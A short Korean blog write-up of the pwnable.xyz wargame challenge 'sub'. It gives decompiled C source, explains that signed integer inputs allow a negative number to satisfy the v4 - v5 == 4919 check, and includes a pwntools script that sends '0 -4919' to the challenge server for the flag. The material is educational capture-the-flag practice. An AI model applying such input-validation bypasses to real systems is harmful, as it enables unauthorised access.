Wargame

[pwnable.xyz] sub

_daeseong_ 2025. 2. 4. 01:39

소스코드

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h] BYREF
  int v5; // [rsp+4h] [rbp-14h] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-10h]

  canary = __readfsqword(0x28u);
  setbuf();
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

 

분석

숫자 2개를 입력 받고 두 숫자가 4918보다 같거나 작은지 검사한다음 v4-v5가 4919이면 플래그를 준다.

그런데 unsigned가 아니여서 음수를 줄수있다.

 

exp.py

from pwn import *
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30001)
p.sendlineafter(b"1337 input: ",b"0 -4919")
p.interactive()